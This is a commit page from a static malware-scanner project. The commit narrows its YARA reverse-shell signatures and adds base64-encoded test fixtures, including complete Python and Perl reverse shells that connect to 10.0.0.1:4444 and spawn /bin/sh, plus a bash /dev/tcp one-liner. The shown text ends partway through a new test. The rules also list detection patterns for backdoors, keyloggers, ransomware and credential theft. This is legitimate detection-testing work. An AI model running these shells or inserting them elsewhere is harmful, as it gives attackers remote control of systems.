Skip to content

Commit c20dec8

Browse files
committed
fix(yara): require shell evidence in socket reverse-shell rules
The widened Python and Perl signatures matched any socket client: the Python pattern needed only stream-socket construction plus connect, and the Perl pattern only use Socket plus socket creation, so ordinary TCP clients raised CRITICAL reverse_shell/YR1 findings. Both signatures now require bounded shell-specific evidence (dup2/subprocess after connect for Python, STD descriptor redirection or /bin/sh exec for Perl). Paired regressions: encoded complete-shell fixtures are the positive path for both languages; the former positive ordinary-client fixtures are now negative regressions. The packaged base64 rule is re-encoded from the CRLF original, so the decoded diff is exactly two lines with no full-file churn. Signed-off-by: Deepak Jain <[email protected]>
1 parent 8f7cb94 commit c20dec8

2 files changed

Lines changed: 135 additions & 90 deletions

File tree

Lines changed: 91 additions & 86 deletions
Original file line numberDiff line numberDiff line change
@@ -1,87 +1,92 @@
1-
LyoKICAgIE1hbHdhcmUgaW5kaWNhdG9yIHJ1bGVzIGZvciBzb3VyY2UgY29kZSBzY2FubmluZy4K
2-
ICAgIEJhc2VkIG9uIHBhdHRlcm5zIGZyb20gTmVvMjN4MC9zaWduYXR1cmUtYmFzZSBhbmQgY29t
3-
bXVuaXR5IHJlc2VhcmNoLgogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMsIGtl
4-
eWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwKICAgIGFuZCBDMiBmcmFtZXdvcmsg
5-
aW5kaWNhdG9ycyBmb3VuZCBpbiBzb3VyY2Uvc2NyaXB0IGZpbGVzLgoqLwoKcnVsZSByZXZlcnNl
6-
X3NoZWxsCnsKICAgIG1ldGE6CiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmV2ZXJzZSBzaGVsbCBw
7-
YXR0ZXJucyBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIgogICAgICAgIGNhdGVnb3J5ID0gIm1h
8-
bHdhcmUiCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9
9-
ICIwLjg1IgogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z
10-
aWduYXR1cmUtYmFzZSIKICAgIHN0cmluZ3M6CiAgICAgICAgJGJhc2hfcmV2c2hlbGwgICAgPSAv
11-
YmFzaFxzKy1pXHMrPiZccypcL2RldlwvdGNwXC8vIG5vY2FzZQogICAgICAgICRuY19zaGVsbCAg
12-
ICAgICAgID0gL25jXHMuKi1lXHMqXC9iaW5cLyhiYSk/c2gvIG5vY2FzZQogICAgICAgICRuY2F0
13-
X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9jYXNlCiAgICAg
14-
ICAgJHB5dGhvbl9zb2NrZXQgICAgPSAvc29ja2V0XC5zb2NrZXRcKC57MCwyMDB9U09DS19TVFJF
15-
QU0uezAsMjAwfVwuY29ubmVjdFwoL3MKICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2Vc
16-
cytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypcKFxzKlNPQ0svcwogICAgICAgICRwaHBfZnNvY2sg
17-
ICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5vY2FzZQogICAgICAgICRydWJ5
18-
X3RjcHNvY2tldCAgID0gL1RDUFNvY2tldFwuXHMqbmV3XHMqXCguKmV4ZWNccypcKC8KICAgICAg
19-
ICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tldHNc
20-
LlRDUENsaWVudC8gbm9jYXNlCiAgICAgICAgJHNvY2F0X3NoZWxsICAgICAgPSAvc29jYXRccysu
21-
KkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UKICAgICAgICAkbWtmaWZvX3NoZWxsICAgICA9
22-
IC9ta2ZpZm9ccysuKlx8XHMqXC9iaW5cLyhiYSk/c2gvCiAgICBjb25kaXRpb246CiAgICAgICAg
23-
YW55IG9mIHRoZW0KfQoKcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5jZQp7CiAgICBtZXRhOgogICAg
24-
ICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBh
25-
eWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVz
26-
ZXJzKSIKICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIgogICAgICAgIHNldmVyaXR5ID0gIkhJ
27-
R0giCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1IgogICAgICAgIHJlZmVyZW5jZSA9ICJodHRw
28-
czovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSIKICAgIHN0cmluZ3M6CiAgICAg
29-
ICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UK
30-
ICAgICAgICAkY3Jvbl9wZXJzaXN0ICAgICAgPSAvY3JvbnRhYlxzLiooY3VybHx3Z2V0fG5jfGJh
31-
c2h8cHl0aG9uKS8gbm9jYXNlCiAgICAgICAgJHNzaF9pbmplY3QgICAgICAgID0gL2VjaG9ccysu
32-
Kj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9jYXNlCiAgICAgICAgJHN5c3RlbWRf
33-
cGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJs
34-
KS8gbm9jYXNlCiAgICAgICAgJGJhc2hyY19wZXJzaXN0ICAgID0gL2VjaG9ccysuKj4+P1xzKi4q
35-
XC5iYXNocmMvIG5vY2FzZQogICAgICAgICRwcm9maWxlX3BlcnNpc3QgICA9IC9lY2hvXHMrLio+
36-
Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wv
37-
ZXRjXC9pbml0XC5kXC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UKICAgICAgICAkbGRfcHJl
38-
bG9hZCAgICAgICAgPSAvTERfUFJFTE9BRC4qXC5zby8gbm9jYXNlCiAgICBjb25kaXRpb246CiAg
39-
ICAgICAgYW55IG9mIHRoZW0KfQoKcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycwp7CiAgICBtZXRh
40-
OgogICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlw
41-
dHMgb3Igc291cmNlIGNvZGUiCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSIKICAgICAgICBz
42-
ZXZlcml0eSA9ICJISUdIIgogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43IgogICAgc3RyaW5nczoK
43-
ICAgICAgICAkcHlucHV0ICAgICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBv
44-
cnQvIG5vY2FzZQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNz
45-
fGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQogICAgICAgICR4aW5wdXRfdGVzdCAgICA9IC94aW5w
46-
dXRccyt0ZXN0LyBub2Nhc2UKICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0t
47-
c3RhcnQvIG5vY2FzZQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0
48-
ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQogICAgY29uZGl0aW9uOgog
49-
ICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcgp7CiAgICBtZXRh
50-
OgogICAgICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBl
51-
bmNyeXB0aW9uLCByYW5zb20gbm90ZXMpIgogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiCiAg
52-
ICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiCiAg
53-
ICBzdHJpbmdzOgogICAgICAgICR3YWxrX2VuY3J5cHQgICA9IC9vc1wud2Fsa1xzKlwoLipcLihl
54-
bmNyeXB0fGNpcGhlcikvCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc
1+
LyoNCiAgICBNYWx3YXJlIGluZGljYXRvciBydWxlcyBmb3Igc291cmNlIGNvZGUgc2Nhbm5pbmcu
2+
DQogICAgQmFzZWQgb24gcGF0dGVybnMgZnJvbSBOZW8yM3gwL3NpZ25hdHVyZS1iYXNlIGFuZCBj
3+
b21tdW5pdHkgcmVzZWFyY2guDQogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMs
4+
IGtleWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwNCiAgICBhbmQgQzIgZnJhbWV3
5+
b3JrIGluZGljYXRvcnMgZm91bmQgaW4gc291cmNlL3NjcmlwdCBmaWxlcy4NCiovDQoNCnJ1bGUg
6+
cmV2ZXJzZV9zaGVsbA0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIlJldmVy
7+
c2Ugc2hlbGwgcGF0dGVybnMgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0
8+
ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAg
9+
IGNvbmZpZGVuY2UgPSAiMC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHVi
10+
LmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRiYXNo
11+
X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg
12+
ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j
13+
YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh
14+
KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0
15+
XCguezAsNDAwfVNPQ0tfU1RSRUFNLnswLDQwMH1cLmNvbm5lY3RcKC57MCw0MDB9KG9zXC5kdXAy
16+
XHMqXCh8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoKS9zICAgICAgICAgICAgIA0K
17+
ICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDQwMH1zb2NrZXRc
18+
cypcKFxzKlNPQ0suezAsNDAwfShvcGVuXHMqXChccypTVEQoSU58T1VUfEVSUil8ZXhlY1xzKlwo
19+
XHMqWyInXVwvYmluXC8oYmEpP3NoKS9zICAgICAgICAgICAgIA0KICAgICAgICAkcGhwX2Zzb2Nr
20+
ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1
21+
YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg
22+
ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl
23+
dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0
24+
XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg
25+
ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog
26+
ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg
27+
ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo
28+
IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo
29+
aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg
30+
IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg
31+
cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K
32+
ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot
33+
b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi
34+
XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl
35+
Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j
36+
YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0
37+
LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg
38+
ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl
39+
X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg
40+
ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl
41+
KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv
42+
LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg
43+
a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9
44+
ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg
45+
ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg
46+
ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg
47+
ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg
48+
ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up
49+
LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz
50+
ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K
51+
ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv
52+
b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv
53+
ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg
54+
ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0
55+
aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg
56+
ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg
57+
c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu
58+
Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc
5559
cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q
56-
YnRjKS8gbm9jYXNlCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5hbWVccypcKC4q
57-
XCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwpLwogICAgICAg
58-
ICRtYXNzX292ZXJ3cml0ZSA9IC9vc1wud2Fsa1xzKlwoLipvcGVuXHMqXCguKlsnXCJdd2JbJ1wi
59-
XVwpLwogICAgY29uZGl0aW9uOgogICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgYzJfZnJhbWV3
60-
b3JrX2luZGljYXRvcnMKewogICAgbWV0YToKICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5k
61-
LWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bs
62-
b2l0LCBTbGl2ZXIsIGV0Yy4pIgogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiCiAgICAgICAg
63-
c2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjg1IgogICAgICAg
64-
IHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSIK
65-
ICAgIHN0cmluZ3M6CiAgICAgICAgJGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9j
66-
YXNlCiAgICAgICAgJG1ldGVycHJldGVyICAgID0gIm1ldGVycHJldGVyIiBub2Nhc2UKICAgICAg
67-
ICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxvYWR8ZXhwbG9pdHxzdGFnZXIp
68-
LyBub2Nhc2UKICAgICAgICAkZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBu
69-
b2Nhc2UKICAgICAgICAkc2xpdmVyX2MyICAgICAgPSAvc2xpdmVyLiooaW1wbGFudHxiZWFjb258
70-
c2Vzc2lvbikvIG5vY2FzZQogICAgICAgICRjb3ZlbmFudCAgICAgICA9IC9Db3ZlbmFudC4qKEdy
71-
dW50fExpc3RlbmVyKS8gbm9jYXNlCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLioo
72-
ZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQogICAgICAgICRiZWFjb25fY29uZmlnICA9IC8oQmVh
73-
Y29uVHlwZXxDMlNlcnZlcnxQdWJsaWNLZXkuKndhdGVybWFyaykvIG5vY2FzZQogICAgY29uZGl0
74-
aW9uOgogICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgaW5mb19zdGVhbGVyCnsKICAgIG1ldGE6
75-
CiAgICAgICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3Jl
76-
ZGVudGlhbCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIgogICAgICAgIGNhdGVnb3J5
77-
ID0gIm1hbHdhcmUiCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCIKICAgICAgICBjb25maWRlbmNl
78-
ID0gIjAuNzUiCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gw
79-
L3NpZ25hdHVyZS1iYXNlIgogICAgc3RyaW5nczoKICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9
80-
IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlCiAgICAgICAgJGZpcmVmb3hfbG9naW5zICAg
81-
PSAvbG9naW5zXC5qc29uLipmaXJlZm94LyBub2Nhc2UKICAgICAgICAkYnJvd3Nlcl9jb29raWVz
82-
ICA9IC9Db29raWVzLiooY2hyb21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQogICAgICAg
83-
ICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UKICAgICAgICAkbWltaWth
84-
dHogICAgICAgICA9ICJtaW1pa2F0eiIgbm9jYXNlCiAgICAgICAgJGxhemFnbmUgICAgICAgICAg
85-
PSAibGF6YWduZSIgbm9jYXNlCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2
86-
ZVxzKy4qXFxzYW0vIG5vY2FzZQogICAgICAgICRudGRzX2R1bXAgICAgICAgID0gL250ZHNcLmRp
87-
dC8gbm9jYXNlCiAgICBjb25kaXRpb246CiAgICAgICAgYW55IG9mIHRoZW0KfQo=
60+
YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu
61+
KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg
62+
ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn
63+
XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy
64+
X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g
65+
PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr
66+
ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy
67+
ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi
68+
MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np
69+
Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj
70+
b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0
71+
ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv
72+
YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv
73+
d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2
74+
ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg
75+
ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv
76+
Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg
77+
JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt
78+
YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy
79+
dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu
80+
Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl
81+
ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2
82+
ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl
83+
cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg
84+
c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh
85+
dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp
86+
cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy
87+
b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg
88+
ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p
89+
bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j
90+
YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu
91+
b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg
92+
ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo=

‎tests/nodes/analyzers/test_static_yara.py‎

Lines changed: 44 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,34 @@ def _reverse_shell_fixture() -> str:
9090
return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode()
9191

9292

93+
def _python_socket_shell_fixture() -> str:
94+
"""Complete Python reverse shell: socket client plus fd redirection and shell spawn.
95+
96+
Base64-encoded per this module's antivirus-safety convention.
97+
"""
98+
return base64.b64decode(
99+
"aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9z"
100+
"CnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0p"
101+
"CnMuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLDAp"
102+
"Cm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJw"
103+
"cm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkK"
104+
).decode()
105+
106+
107+
def _perl_socket_shell_fixture() -> str:
108+
"""Complete Perl reverse shell: socket client plus stdio redirection and shell exec.
109+
110+
Base64-encoded per this module's antivirus-safety convention.
111+
"""
112+
return base64.b64decode(
113+
"dXNlIFNvY2tldDsKJGk9IjEwLjAuMC4xIjskcD00NDQ0Owpzb2NrZXQoU09DS0VULFBG"
114+
"X0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTsKY29ubmVjdChT"
115+
"T0NLRVQsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpOwpvcGVuKFNURElOLCI+"
116+
"JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsIj4m"
117+
"U09DS0VUIik7CmV4ZWMoIi9iaW4vc2ggLWkiKTsK"
118+
).decode()
119+
120+
93121
def _has_rule(findings: list, rule_name: str) -> bool:
94122
"""Return True when a finding message references a specific YARA rule."""
95123
return any(rule_name in f.message for f in findings)
@@ -592,21 +620,33 @@ def test_builtin_malware_finding_preserved(self):
592620
assert _has_rule(findings, "reverse_shell")
593621
assert any(f.rule_id == "YR1" for f in findings)
594622

623+
@pytest.mark.parametrize(
624+
"content, filename",
625+
[
626+
(_python_socket_shell_fixture(), "shell.py"),
627+
(_perl_socket_shell_fixture(), "shell.pl"),
628+
],
629+
)
630+
def test_builtin_reverse_shell_matches_complete_socket_shells(
631+
self, content: str, filename: str
632+
) -> None:
633+
